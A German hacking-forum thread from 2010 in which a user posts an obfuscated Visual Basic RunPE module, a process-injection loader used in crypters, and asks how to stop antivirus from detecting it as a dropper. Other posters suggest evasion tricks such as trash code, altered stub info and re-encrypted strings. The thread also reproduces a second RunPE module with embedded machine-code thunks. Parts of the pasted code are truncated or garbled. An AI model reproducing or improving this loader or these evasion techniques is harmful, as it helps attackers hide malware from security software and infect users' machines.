Howdi,
hab mir meine RunPe jetzt komplett verschlüsselt,
alle Strings verschlüsselt + API's verschlüsselt + Vars geändert.
Es ist alles UD bis auf AntiVir erkennt TR.Dropper.
Hier mal der code:
Code:
Option Explicit
Private Const fgvgbhjutfghu345t7fzgdhDCFGVH As Long = &H5A4D&
Private Const ghjZGHJUHZGVHBJHZGz57uHGJK As Long = &H4550&
Private Const fvgbhZGFVBNHGFD5678uhvBNHGFD As Long = &H40
Private Const tZUJHBVFghjzt4567uhgFDCVBH As Long = &HF8
Private Const tzujBVFRGHJHGFder45tzGFVBNHJ As Long = &H28
Private Const RTZUJHGfdsertgz6545678uHGFDFGH As Long = &H28
Private Const DFGFVBHGVGe4567zgfde456zh As Long = &H10007
Private Const EFghjnbvcdE8765rTGHBVCFDRFTZH As Long = &H4
Private Const gfderTZGHJUZTRe4567ujhGFGh As Long = &H1000
Private Const RTZUJhgfde45678ijhgt678ujh As Long = &H2000
Private Const iuztdFGHUZTREtz67u765rf As Long = &H40
Private Declare Sub WEDFghbtfvrde4567icvghbun Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private IJjuztgzgr54678fUGVCz765ftz As Long
Private qwtzukhgUFGDZTr74fuzgvI As Long
Private OIHnouzFVU65e7dZGV As Boolean
Private IctfguzctzutFUzvu567 As Long
Private Uczfuz67zgiuUcz6789 As Long
Private Utgvuzgvzdt7658tfIGUH(&HFF) As Byte
Private Type RTZtrfdfghzt4567uztgfrdghzu
sadfg34sdfgsscxvtFFASDF3 As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type WERTZujhgbfde345678i9765rttfgh
sdfg3qwert34hggdfx43cv42rfsdg As Long
sdfg3qwert34ahggdfx43cv42rfsdg As Long
sdfg3qwert34aashggedfx43cv42rfsdg As Long
sdfg3qwert34ahggedfx43cv42rfsdg As Long
End Type
Private Type RTZUZHGFd4567uzhgfgvbhj
sdfg3qwert34a23ashggedfx43cv42rfsdg As Long
sdfg3qwasd3cv42rfsdg As Long
sdfg3qwasdsdf3cv42rfsdg As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type dfgsrfghjz6asdasdf5ght7ghtzr676
sdfg3qwasdasdfsdf3cv42rfsdg As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As RTZUZHGFd4567uzhgfgvbhj
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
sadfg34324sdsdasdgssd3scxvtFFASDF3 As Long
Edx As Long
Ecx As Long
afasdfUIZRFi7fi6rfigu76tf As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type QWERTZUI456789asdfghj98765dcfg
sdf234sfdfsdfsdf3ascv42rfsdg As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
sadfg34tFFASDF3 As Long
End Type
Private Type OIUZTR6578JHGFD34567
Machine As Integer
sdfg3sdasddjhdhggdfxcv42rfsdg As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type NJUZHB456TFdfgh
sadfg34sdfgssd3scxvtFFASDF3 As Long
afasdfUI435345345ZRFi7fi6rfigu76tf As Long
End Type
Private Type tghbZH7uj4rfg67zujh
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
sdfg3qwasas234dasadfsdf3cv42rfsdg As Long
BaseOfCode As Long
BaseOfData As Long
sdfg3s5345dasddjhdhggdfxcv42rfsdg As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
sdfg3asds5345dasddjhdhggdfxcv42rfsdg As Long
sdfg3qwert34hggdfxcv42rfsdg As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
sdf234sfdfsdf3cv42rfsdg(0 To 15) As NJUZHB456TFdfgh
End Type
Private Type vgcfdreDRFTZGh456ftgz67GHJ
sdfg3qwas234dasdfsdf3cv42rfsdg As Long
sdfg3sdasdfsd4F4ta56ezhgdfxcv42rfsdg As OIUZTR6578JHGFD34567
sdfg3qwas234dasadfsdf3cv42rfsdg As tghbZH7uj4rfg67zujh
End Type
Private Type QWedfghjNBGF434567ZGFH
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
lpName As Long
Base As Long
NumberOfFunctions As Long
sdf234sfdfsdf3ascv42rfsdg As Long
afasdfUI43w234er23r4dfZRFi7fi6rfigu76tf As Long
afasdfUI4353sdf45345ZRFi7fi6rfigu76tf As Long
afasdfUI43wer23r4dfZRFi7fi6rfigu76tf As Long
End Type
Private Type POIUZhj4567zgFVCDFGh
SecName As String * 8
VirtualSize As Long
sadfg34sdfgssd3scxvtFFASDF3 As Long
sadfg34324sdsdgssd3scxvtFFASDF3 As Long
sadfg34324sdfgssd3scxvtFFASDF3 As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type
Public Function sdfg34F4ta56ezhgdfxcv42rfsdg() As Long
'This function will be replaced with machine code laterz
'Do not add any public procedure on top of it
End Function
Private Function sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg() As Long
WEDFghbtfvrde4567icvghbun IctfguzctzutFUzvu567, ByVal ObjPtr(Me), &H4
IctfguzctzutFUzvu567 = IctfguzctzutFUzvu567 + &H1C
WEDFghbtfvrde4567icvghbun Uczfuz67zgiuUcz6789, ByVal IctfguzctzutFUzvu567, &H4
WEDFghbtfvrde4567icvghbun ByVal IctfguzctzutFUzvu567, VarPtr(Utgvuzgvzdt7658tfIGUH(0)), &H4
sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg = sdfg34F4ta56ezhgdfxcv42rfsdg
WEDFghbtfvrde4567icvghbun ByVal IctfguzctzutFUzvu567, Uczfuz67zgiuUcz6789, &H4
End Function
Public Function sdfg34F4tsdfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34FsdfDAF3sdfsdfxcv42rfsdg As String, ByVal dfgsrt43afd454frtz6asdf5ght7ghtzr676 As String) As Long
sdfg34F4tsdfDAF3sdfsdfxcv42rfsdg = Me.dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(Me.sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(sdfg34FsdfDAF3sdfsdfxcv42rfsdg), dfgsrt43afd454frtz6asdf5ght7ghtzr676)
End Function
Public Function sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34FsdfDAF3sdfsdfxcv42rfsdg As String) As Long
sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg = sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg(qwtzukhgUFGDZTr74fuzgvI, StrPtr(sdfg34FsdfDAF3sdfsdfxcv42rfsdg & vbNullChar))
End Function
Public Function dfgsrfghjzeztu56uzFf5ght7ghtzr676(ByRef sdfg34F4tasdrtg5454eruzdfxcv42rfsdg() As Byte, Optional sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg As String) As Boolean
Dim rtgzhRfDFf3467gTRhf5CFGV As Long
Dim rtgzhRDFgZGvt354fcrd567gTRCFGV As QWERTZUI456789asdfghj98765dcfg
Dim rtgzhRDFgZ6Gvt354fcrd567gTRCFGV As vgcfdreDRFTZGh456ftgz67GHJ
Dim dfgsrf34tfghjzeztu56uzFf5ght7ghtzr676 As POIUZhj4567zgFVCDFGh
Dim dfgsrf34tfghjzeztu67ujhgght7ghtzr676 As RTZtrfdfghzt4567uztgfrdghzu
Dim dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676 As WERTZujhgbfde345678i9765rttfgh
Dim sdfg34FDAF32rfsdg As dfgsrfghjz6asdasdf5ght7ghtzr676
Dim sdfg34FsdfDAF32rfsdg As Long
Dim sdfg34FsdfDAF3sdfxcv42rfsdg As Long
Dim dfgsrt4354frtz6asdf5ght7ghtzr676 As Long
If sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg = vbNullString Then
sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg = Space(260)
dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF32rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Sq€Y{pxqRuxqZmyqc"))
sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, App.hInstance, StrPtr(sdfg34F4tasdrtg523f454eruzdfxcv42rfsdg), 260
End If
With rtgzhRDFgZ6Gvt354fcrd567gTRCFGV.sdfg3qwas234dasadfsdf3cv42rfsdg
dfgsrt4354frtz6asdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(sdfg34FsdfDAF3sdfxcv42rfsdg, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("Z€^qyq`t~qmp"))
sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrf34tcxvfghjzeztu67ujhgght7ghtzr676.sdfg3qwert34ahggdfx43cv42rfsdg, 0
End With
dfgsrfghjzeztu56uzFf5ght7ghtzr676 = True
End Function
Public Function sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg(ByVal dfgsrt4354frtz6asdf5ght7ghtzr676 As Long, ParamArray sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg()) As Long
Dim sdfg34F4t6sdfg6FF5dseruzdfxcv42rfsdg As Long
Dim rtgzhRfDFf3467gTRhf5CFGV As Long
Dim sdfg34F4tasdfwe45dseruzdfxcv42rfsdg As String
Dim sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg As String
If dfgsrt4354frtz6asdf5ght7ghtzr676 = 0 Then Exit Function
For rtgzhRfDFf3467gTRhf5CFGV = UBound(sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg) To 0 Step -1
sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg = sdfg34F4tasdfsdfwe45dseruzdfxcv42rfsdg & sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("BD") & sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg(CLng(sdfg34F4tasdfsdfwe4sdf5dseruzdfxcv42rfsdg(rtgzhRfDFf3467gTRhf5CFGV)))
Next
sdfg3sdsd4F4ta56ezhgdfxcv42rfsdg = sdfg34F4tssdfdfDAF3sdfsdfxcv42rfsdg
End Function
Private Function rtgzhRDFZGvtfcrd567gTRCFGV(ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI As Long, ByRef ZTgcvuztdx756dZTCFDgzf568tg As Long, ByRef ztciugbvuzDREZrt7685tfvigb As String)
Dim dfgsrtshtgh675frtz65ght7ghtzr676 As String
dfgsrtshtgh675frtz65ght7ghtzr676 = rtgzhRDFZGvt354fcrd567gTRCFGV(UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI)
If InStr(1, dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":")) Then
ZTgcvuztdx756dZTCFDgzf568tg = sdfg34F4tssddsffdfDAF3sdfsdfxcv42rfsdg(Split(dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":"))(0))
ztciugbvuzDREZrt7685tfvigb = Split(dfgsrtshtgh675frtz65ght7ghtzr676, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg(":"))(1)
End If
End Function
Private Function rtgzhRDFZGvt354fcrd567gTRCFGV(ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI As Long) As String
Dim dfgsrt4354frtz65ght7ghtzr676 As Byte
Do
WEDFghbtfvrde4567icvghbun dfgsrt4354frtz65ght7ghtzr676, ByVal UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI, 1
UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI = UJGFVuizt567789tfzcrfdzdzdzdzdzdzdzJI + 1
If dfgsrt4354frtz65ght7ghtzr676 = 0 Then Exit Do
rtgzhRDFZGvt354fcrd567gTRCFGV = rtgzhRDFZGvt354fcrd567gTRCFGV & Chr$(dfgsrt4354frtz65ght7ghtzr676)
Loop
End Function
Private Function sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg(ByVal sdfg34F4t6sdfg65dfDAF3sdfsdfxcv42rfsdg As Long) As String
Dim sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(3) As Byte
Dim rtgzhRfDFf3467gTRhf5CFGV As Long
WEDFghbtfvrde4567icvghbun sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(0), sdfg34F4t6sdfg65dfDAF3sdfsdfxcv42rfsdg, &H4
For rtgzhRfDFf3467gTRhf5CFGV = 0 To 3
sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg = sdfg34F4t6sdfg65dsdffDAF3sdfsdfxcv42rfsdg & Right(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("<") & Hex(sdfg34F4t6sdfg65dseruzdfxcv42rfsdg(rtgzhRfDFf3467gTRhf5CFGV)), 2)
Next
End Function
Private Sub sdfg34F4t63465dfDAF3sdfsdfxcv42rfsdg(ByVal sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg As String)
Dim rtgzhRfDFf3467gTRhf5CFGV As Long
For rtgzhRfDFf3467gTRhf5CFGV = 0 To Len(sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg) - 1 Step 2
Utgvuzgvzdt7658tfIGUH((rtgzhRfDFf3467gTRhf5CFGV / 2)) = CByte(sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("2t") & Mid$(sdfg34F4t623233465dfDAF3sdfsdfxcv42rfsdg, rtgzhRfDFf3467gTRhf5CFGV + 1, 2))
Next
End Sub
If Not IJjuztgzgr54678fUGVCz765ftz = 0 Then
qwtzukhgUFGDZTr74fuzgvI = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(IJjuztgzgr54678fUGVCz765ftz, sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg("X{mpXun~m~…c"))
If Not qwtzukhgUFGDZTr74fuzgvI = 0 Then
OIHnouzFVU65e7dZGV = True
End If
End If
End Sub
Public Function dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(ByVal dfgsrt4354frtz6asdf5ght7ghtzr676 As Long, ByVal dfgsrt43afd454frtz6asdf5ght7ghtzr676 As String) As Long
Dim rtgzhRDFgZGvt354fcrd567gTRCFGV As QWERTZUI456789asdfghj98765dcfg
Dim rtgzhRDFgZ6Gvt354fcrd567gTRCFGV As vgcfdreDRFTZGh456ftgz67GHJ
Dim rtgzhRfDFgZ6Gvt354fcrd567gTRCFGV As QWedfghjNBGF434567ZGFH
Dim rtgzhRfDFf3467gTRhf5CFGV As Long
Dim rtgzhRfDFf34dfzgh6TRhf5CFGV As Long
Dim dfgsrtshtgh675ghtzr676 As Long
Dim dfgsrtshtgh675fght7ghtzr676 As Long
With rtgzhRfDFgZ6Gvt354fcrd567gTRCFGV
For rtgzhRfDFf3467gTRhf5CFGV = 0 To .sdf234sfdfsdf3ascv42rfsdg - 1
If dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 >= rtgzhRfDFfghd567gTRCFGV And _
dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 <= rtgzhRfDFfghd567gTRhf5CFGV Then
Call rtgzhRDFZGvtfcrd567gTRCFGV(dfgsrt43afd454frtz6asdasdf5ght7ghtzr676, dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrt43afd454frtz6asdf5ght7ghtzr676)
If Not dfgsrt4354frtz6asdf5ght7ghtzr676 = 0 Then
dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrt43afd454frtz6asdf5ght7ghtzr676)
Else
dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 = 0
End If
End If
Exit Function
End If
Next
End With
End Function
Public Function sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg()
End Function
Hier der aufruf:
Code:
Private Sub Form_Load()
Dim bvData() As Byte
Dim iFile As Integer
Dim c As New cGsPE
iFile = FreeFile
Open Environ$("windir") & "\system32\calc.exe" For Binary Access Read As iFile
ReDim bvData(LOF(iFile) - 1)
Get iFile, , bvData
Close iFile
c.dfgsrfghjzeztu56uzFf5ght7ghtzr676 bvData
End Sub
der jedoch wird nicht erkannt. kann den aufruf code entfernen
wird aber trotzdem noch als Dropper erkannt.
Hat jemand noch eine idee was ich machen könnte ?
Greetz
20.03.2010, 11:20
KAS
es wird erkannt wie du deine datei an die stub hängst veränderst du dies ist es ud...
20.03.2010, 11:52
BlackCobra
Es gibt doch ein Tutorial von Ebfe in dem alles erklärt wird. hier ist mal ein Link für dich. Edit sorry hatte jetzt gedacht du hättest eine kompilierte Anwendung.
20.03.2010, 13:02
CYSER
Trashcode adden icon ändern stubinfo ändern.
20.03.2010, 14:11
inmate
Die API RtlMoveMemory ist glaube ich detected.Da musste einen Ersatz für finden.
mfG
20.03.2010, 14:14
locos
Naja ich habe die RtlMoveMemory mal auskommentiert.
Und die Dropper detection war immer noch da.
Hat jemand noch eine RunPE version die auf Vista + Win7 läuft ?
Vllt. kann sie ja jemand posten.
Greetz
20.03.2010, 14:28
inmate
In der main sub alle Strings verschlüsseln , haste schon ne Section geaddet ?
Edit: Was ist das überhaupt für ein RunPE ? Kannste mal die unveränderte Version posten bitte ?
mfG
20.03.2010, 17:50
locos
Ich hänge doch noch gar nichts an eine Stub an.
Es handelt sich doch nur um das RunPe module und die den Win Rechner ausführt.
Normal schlägt AntiVir doch erst an wenn ich eine verschlüsselte *.exe an
die Stub anhänge ?!
Wenn ich das PE module komplett raus nehme, ist die Dropper detection weg.
Wie gesagt, wäre cool wenn mir jemand ein anderes RunPE module geben
könnte da hackhound im moment offline ist.
Sollte auf Win 7 laufen.
Greetz
20.03.2010, 17:57
inmate
Nein muss nicht , du brauchst lediglich das:
Zitat:
Private Type tAPICall
ptsLIB As Long ' Pointer to ANSI String that contains Library
ptr3W3d5yRSclgKZsNfaPyEFD As Long ' Pointer to ANSI String that contains Procedure
lReserved As Long ' Just reserved...
lPointer As Long ' Pointer to the buffer that will contain temp variables from DllFunctionCall
lpBuffer(3) As Long ' Buffer that will contain temp variables
End Type
Private Declare Function DllFunctionCall Lib "MSVBVM60" (ByRef typeAPI As tAPICall) As Long
In ein Projekt schreiben und die compilte .exe wird als Dropper erkannt ;)
Ich sagte nicht stub sondern sub.
In deiner Main sub alle Strings verschlüsseln und die Strings im RunPE
ebenfalls.
20.03.2010, 18:03
locos
Ich habe doch gar kein tAPICall bzw. DllFunctionCall
in meinem Code. Im RunPe module sind alles strings verschlüsselt.
Werde die main jetzt noch machen und dann nochmal posten.
Greetz
20.03.2010, 18:57
inmate
Ich habe das geschrieben weil ich dir Beweisen wollte das Avira es nicht nur erkennt wenn man ne Datei an die Stub hängt.Dann verschlüssele die Strings halt nochmal im RunPE , solange bis Avira ruhig ist.
20.03.2010, 19:15
locos
Nochmal encrypten bewirkt glaub ich auch nix.
Ich habe mal nach einander die verschiedenen Subs raus genommen
und dann gescannt. Die detection war immer da, auch nachdem ich jede sub einmal raus
genommen habe.
inmate welche runpe verwendest du in deinem crypter ?
Kannst du mir das original mal zukommen lassen ?
Greetz
Edit:
In der main die Strings habe ich auch mal verschlüsselt ohne erfolg. Tr.Dropper.Gen >.<
20.03.2010, 19:30
inmate
Das RunPE von Karcrack, da es das mir einzige bekannte ist welches unter Windows 7 läuft.Habe das Originale zZ nicht da, und HackHound ist down.
Doch du musst die Strings öfters verschlüsseln das hilft, glaub mir ;), lade mal das Projekt hoch ich mache es dir.
mfG
20.03.2010, 19:57
locos
Mist hab jetzt das von mir verschlüsselte schon gelöscht >.<
Hab nur noch das Original von cobein hier: http://ul.to/rz57rk
Ich werde jetzt mal das von Karcrack suchen.
Greetz
Edit:
Ist es diese RunPE die du nutzt:
Code:
'---------------------------------------------------------------------------------------
' Module : cNtPEL
' DateTime : 30/06/2009 06:32
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar (updated =D)
' Purpose : Inject Exe
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Thanks to : This is gonna be a looong list xD
' Batfitch - kernel base asm
' Karcrack - For helping me to debug and test it
' Paul Caton - vTable patch examples
' rm_code - First call api prototype
' and different books and pappers
'
' Compile : P-Code !!!
'
' Comments : Coded on top of the invoke module.
'
' History : 30/06/2009 First Cut....................................................
' 02/08/2009 Modded By Karcrack, Now is NtRunPEL, thanks Slayer (;........
'---------------------------------------------------------------------------------------
Option Explicit
Private Const IMAGE_DOS_SIGNATURE As Long = &H5A4D&
Private Const IMAGE_NT_SIGNATURE As Long = &H4550&
Private Const SIZE_DOS_HEADER As Long = &H40
Private Const SIZE_NT_HEADERS As Long = &HF8
Private Const SIZE_EXPORT_DIRECTORY As Long = &H28
Private Const SIZE_IMAGE_SECTION_HEADER As Long = &H28
Private Const THUNK_APICALL As String = "8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3"
Private Const THUNK_KERNELBASE As String = "8B5C240854B830000000648B008B400C8B401C8B008B400889035C31C0C3"
Private Const PATCH1 As String = "<PATCH1>"
Private Const PATCH2 As String = "<PATCH2>"
Private Const CONTEXT_FULL As Long = &H10007
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Private Type IMAGE_EXPORT_DIRECTORY
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
lpName As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
lpAddressOfFunctions As Long
lpAddressOfNames As Long
lpAddressOfNameOrdinals As Long
End Type
Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type
Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private c_lKrnl As Long
Private c_lLoadLib As Long
Private c_bInit As Boolean
Private c_lVTE As Long
Private c_lOldVTE As Long
Private c_bvASM(&HFF) As Byte
Public Function zDoNotCall() As Long
'This function will be replaced with machine code laterz
'Do not add any public procedure on top of it
End Function
Public Function RunPE(ByRef bvBuff() As Byte, Optional sHost As String, Optional ByRef hProc As Long) As Boolean
Dim i As Long
Dim tIMAGE_DOS_HEADER As IMAGE_DOS_HEADER
Dim tIMAGE_NT_HEADERS As IMAGE_NT_HEADERS
Dim tIMAGE_SECTION_HEADER As IMAGE_SECTION_HEADER
Dim tSTARTUPINFO As STARTUPINFO
Dim tPROCESS_INFORMATION As PROCESS_INFORMATION
Dim tCONTEXT As CONTEXT
Dim lKernel As Long
Dim lNTDll As Long
Dim lMod As Long
Private Function GetLong(ByVal lData As Long) As String
Dim bvTemp(3) As Byte
Dim i As Long
CpyMem bvTemp(0), lData, &H4
For i = 0 To 3
GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2)
Next
End Function
Private Sub PutThunk(ByVal sThunk As String)
Dim i As Long
For i = 0 To Len(sThunk) - 1 Step 2
c_bvASM((i / 2)) = CByte("&h" & Mid$(sThunk, i + 1, 2))
Next i
End Sub
Private Function PatchCall() As Long
CpyMem c_lVTE, ByVal ObjPtr(Me), &H4
c_lVTE = c_lVTE + &H1C
CpyMem c_lOldVTE, ByVal c_lVTE, &H4
CpyMem ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4
PatchCall = zDoNotCall
CpyMem ByVal c_lVTE, c_lOldVTE, &H4
End Function
Public Function GetMod(ByVal sLib As String, ByVal sProc As String) As Long
GetMod = Me.GetProcAddress(Me.LoadLibrary(sLib), sProc)
End Function
Public Function LoadLibrary(ByVal sLib As String) As Long
LoadLibrary = Invoke(c_lLoadLib, StrPtr(sLib & vbNullChar))
End Function
Public Property Get Initialized() As Boolean
Initialized = c_bInit
End Property
Public Sub Class_Initialize()
Call PutThunk(THUNK_KERNELBASE)
c_lKrnl = PatchCall
If Not c_lKrnl = 0 Then
c_lLoadLib = GetProcAddress(c_lKrnl, "LoadLibraryW")
If Not c_lLoadLib = 0 Then
c_bInit = True
End If
End If
End Sub
Public Function GetProcAddress(ByVal lMod As Long, ByVal sProc As String) As Long
Dim tIMAGE_DOS_HEADER As IMAGE_DOS_HEADER
Dim tIMAGE_NT_HEADERS As IMAGE_NT_HEADERS
Dim tIMAGE_EXPORT_DIRECTORY As IMAGE_EXPORT_DIRECTORY
If StringFromPtr(lBase + lNameAdd) = sProc Then
CpyMem lNumbAdd, ByVal lBase + .lpAddressOfNameOrdinals + i * 2, 2
CpyMem lFunctAdd, ByVal lBase + .lpAddressOfFunctions + lNumbAdd * 4, 4
GetProcAddress = lFunctAdd + lBase
If GetProcAddress >= lVAddress And _
GetProcAddress <= lVSize Then
Call ResolveForward(GetProcAddress, lMod, sProc)
If Not lMod = 0 Then
